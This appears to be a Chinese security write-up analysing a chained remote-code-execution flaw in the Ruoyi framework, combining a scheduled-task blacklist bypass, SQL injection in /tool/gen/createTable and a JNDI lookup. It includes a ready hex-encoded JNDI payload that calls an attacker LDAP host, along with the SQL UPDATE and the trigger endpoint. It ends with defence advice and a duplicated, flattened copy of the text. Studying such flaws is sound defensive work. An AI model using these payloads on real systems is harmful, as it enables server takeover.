最新Ruoyi组合拳RCE分析
字数 1207 2025-08-23 18:31:24

Ruoyi组合拳RCE漏洞分析与利用教学文档

漏洞概述

本文档详细分析Ruoyi框架中的组合拳RCE漏洞,该漏洞通过定时任务功能结合SQL注入实现远程代码执行。影响版本包括Ruoyi 4.7.5及之前版本。

漏洞组件分析

1. 定时任务功能漏洞

Ruoyi的定时任务功能(/monitor/job)允许调用特定包内的bean,存在以下安全问题:

  • 可以调用genTableServiceImpl直接执行SQL来更改定时任务内容
  • 黑白名单校验仅在SysJobController#addSave方法中存在
  • 任务状态修改接口(/monitor/job/changeStatus)没有添加黑白名单校验

2. 任意文件读取漏洞(CVE-2023-27025)

影响版本:4.7.6之前

利用方式:

  1. 通过定时任务调用ruoYiConfig.setProfile更改本地上传文件路径
  2. 利用/common/download/resource接口读取文件
  3. 虽然前端对resource参数进行过滤,但通过控制本地资源路径可实现任意文件读取

3. SQL注入漏洞

影响版本:4.7.5之前

漏洞位置:/tool/gen/createTable接口

漏洞代码:

<update id="createTable">
    ${sql}
</update>

该接口直接将前端传入的SQL语句执行,存在SQL注入风险。

组合拳RCE实现原理

利用链分析

  1. 通过SQL注入调用genTableServiceImpl.createTable执行SQL
  2. 该实现类满足黑白名单条件
  3. 直接修改sys_job表中的定时任务内容
  4. 通过changeStatus接口触发恶意定时任务

数据库结构

sys_job表结构包含以下关键字段:

  • job_id:任务ID
  • invoke_target:调用的目标字符串
  • 其他状态字段

漏洞利用步骤

1. 准备JNDI服务

启动JNDI利用工具,准备LDAP服务:

ldap://attacker-ip:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn

2. 构造SQL注入Payload

由于直接使用JNDI字符串会被黑名单拦截,需要转换为16进制:

原始JNDI Payload:

javax.naming.InitialContext.lookup('ldap://192.168.44.84:1389/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')

转换为16进制:

0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729

3. 执行SQL注入

通过genTableServiceImpl.createTable执行以下SQL语句(假设修改job_id=3的任务):

UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 3;

4. 触发RCE

通过/monitor/job/changeStatus接口更改任务状态,触发JNDI调用。

其他利用方式

根据Ruoyi默认依赖,还可以使用jndi-plus的Jackson反序列化实现RCE。

防御建议

  1. 升级到最新版本Ruoyi框架
  2. 对所有SQL语句进行预编译处理
  3. 加强定时任务的黑白名单校验
  4. changeStatus等状态修改接口添加权限校验
  5. 限制可调用的bean范围

参考资源

Ruoyi组合拳RCE漏洞分析与利用教学文档 漏洞概述 本文档详细分析Ruoyi框架中的组合拳RCE漏洞,该漏洞通过定时任务功能结合SQL注入实现远程代码执行。影响版本包括Ruoyi 4.7.5及之前版本。 漏洞组件分析 1. 定时任务功能漏洞 Ruoyi的定时任务功能( /monitor/job )允许调用特定包内的bean,存在以下安全问题: 可以调用 genTableServiceImpl 直接执行SQL来更改定时任务内容 黑白名单校验仅在 SysJobController#addSave 方法中存在 任务状态修改接口( /monitor/job/changeStatus )没有添加黑白名单校验 2. 任意文件读取漏洞(CVE-2023-27025) 影响版本:4.7.6之前 利用方式: 通过定时任务调用 ruoYiConfig.setProfile 更改本地上传文件路径 利用 /common/download/resource 接口读取文件 虽然前端对 resource 参数进行过滤,但通过控制本地资源路径可实现任意文件读取 3. SQL注入漏洞 影响版本:4.7.5之前 漏洞位置: /tool/gen/createTable 接口 漏洞代码: 该接口直接将前端传入的SQL语句执行,存在SQL注入风险。 组合拳RCE实现原理 利用链分析 通过SQL注入调用 genTableServiceImpl.createTable 执行SQL 该实现类满足黑白名单条件 直接修改 sys_job 表中的定时任务内容 通过 changeStatus 接口触发恶意定时任务 数据库结构 sys_job 表结构包含以下关键字段: job_id :任务ID invoke_target :调用的目标字符串 其他状态字段 漏洞利用步骤 1. 准备JNDI服务 启动JNDI利用工具,准备LDAP服务: 2. 构造SQL注入Payload 由于直接使用JNDI字符串会被黑名单拦截,需要转换为16进制: 原始JNDI Payload: 转换为16进制: 3. 执行SQL注入 通过 genTableServiceImpl.createTable 执行以下SQL语句(假设修改job_ id=3的任务): 4. 触发RCE 通过 /monitor/job/changeStatus 接口更改任务状态,触发JNDI调用。 其他利用方式 根据Ruoyi默认依赖,还可以使用 jndi-plus 的Jackson反序列化实现RCE。 防御建议 升级到最新版本Ruoyi框架 对所有SQL语句进行预编译处理 加强定时任务的黑白名单校验 对 changeStatus 等状态修改接口添加权限校验 限制可调用的bean范围 参考资源 JNDI-Injection-Exploit-Plus Ruoyi官方更新日志和安全公告